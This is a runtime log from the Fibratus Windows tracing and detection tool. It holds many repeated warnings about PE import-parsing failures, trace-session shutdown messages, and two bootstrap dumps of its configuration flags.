+time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:27:49+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:28:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:28:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:28:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:57+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:58+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:29:59+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:01+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:30+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T13:30:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T13:30:51+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:30:52+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:30:53+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:30:53+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T13:39:45+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:39:45+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:39:45+01:00 level=info msg=bootstrapping with pid 9304. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:39:45+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ enabled=>true quiet-mode=>false sound=>true] slack=>[ enabled=>false] mail=>[ use-template=>true enabled=>false port=>25 to=>[] content-type=>text/html] eventlog=>[ enabled=>true verbose=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + kevent ......................... [ serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-images=>false] + kstream ........................ [ max-buffers=>36 enable-vamap=>true enable-audit-api=>true enable-dns=>true blacklist=>[ events=>[] images=>[]] enable-mem=>true buffer-size=>512 enable-registry=>true flush-interval=>1s enable-image=>true min-buffers=>16 enable-thread=>true stack-enrichment=>true enable-fileio=>true enable-net=>true enable-handle=>false] + logging ........................ [ log-stdout=>true max-age=>0 formatter=>text level=>info max-backups=>15 max-size=>100] + output ......................... [ http=>[ serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false timeout=>5s method=>POST] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true format=>pretty] elasticsearch=>[ enabled=>false timeout=>5s healthcheck=>true healthcheck-timeout=>5s template-name=>fibratus servers=>[http://127.0.0.1:9200] gzip-compression=>false trace-log=>false index-name=>fibratus sniff=>false healthcheck-interval=>10s bulk-workers=>1 flush-period=>1s] amqp=>[ passive=>false durable=>false tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 enabled=>false exchange-type=>topic vhost=>/ delivery-mode=>transient timeout=>5s routing-key=>fibratus] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-sections=>false excluded-images=>[] read-resources=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false kparams=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false alert-template=>[] excluded-files=>[] alert-via=>mail fastscan=>true excluded-procs=>[] scan-timeout=>10s skip-files=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T13:39:46+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T13:39:48+01:00 level=warning msg=couldn't flush trace session for [NT Kernel Logger]: ControlTrace: The instance name passed was not recognized as valid by a WMI data provider. source=etw/source.go:261 +time=2025-11-11T13:39:48+01:00 level=warning msg=couldn't stop trace session for [NT Kernel Logger]: ControlTrace: The instance name passed was not recognized as valid by a WMI data provider. source=etw/source.go:269 +time=2025-11-11T13:40:33+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T13:40:33+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T13:40:33+01:00 level=info msg=bootstrapping with pid 16748. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T13:40:33+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-timeout=>4s flush-period=>200ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>true] mail=>[ content-type=>text/html enabled=>false use-template=>true port=>25 to=>[]] eventlog=>[ enabled=>true verbose=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8080 timeout=>15s] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-images=>false] + kstream ........................ [ enable-image=>true min-buffers=>16 buffer-size=>512 max-buffers=>36 stack-enrichment=>true enable-registry=>true enable-vamap=>true enable-mem=>true enable-fileio=>true enable-handle=>false enable-audit-api=>true enable-net=>true blacklist=>[ events=>[] images=>[]] enable-thread=>true enable-dns=>true flush-interval=>1s] + logging ........................ [ log-stdout=>true formatter=>text max-size=>100 max-backups=>15 max-age=>0 level=>info] + output ......................... [ amqp=>[ durable=>false timeout=>5s vhost=>/ tls-insecure-skip-verify=>false delivery-mode=>transient exchange-type=>topic enabled=>false url=>amqp://localhost:5672 exchange=>fibratus passive=>false routing-key=>fibratus] elasticsearch=>[ flush-period=>1s healthcheck=>true sniff=>false index-name=>fibratus gzip-compression=>false healthcheck-interval=>10s trace-log=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s enabled=>false timeout=>5s bulk-workers=>1 template-name=>fibratus] eventlog=>[ enabled=>false level=>info] console=>[ template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} format=>pretty enabled=>true] http=>[ enable-gzip=>false timeout=>5s enabled=>false endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST]] + pe ............................. [ read-resources=>false excluded-images=>[] read-sections=>false enabled=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false kparams=>[]]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s fastscan=>true excluded-procs=>[] enabled=>false alert-via=>mail alert-template=>[] skip-files=>true] source=bootstrap/bootstrap.go:183 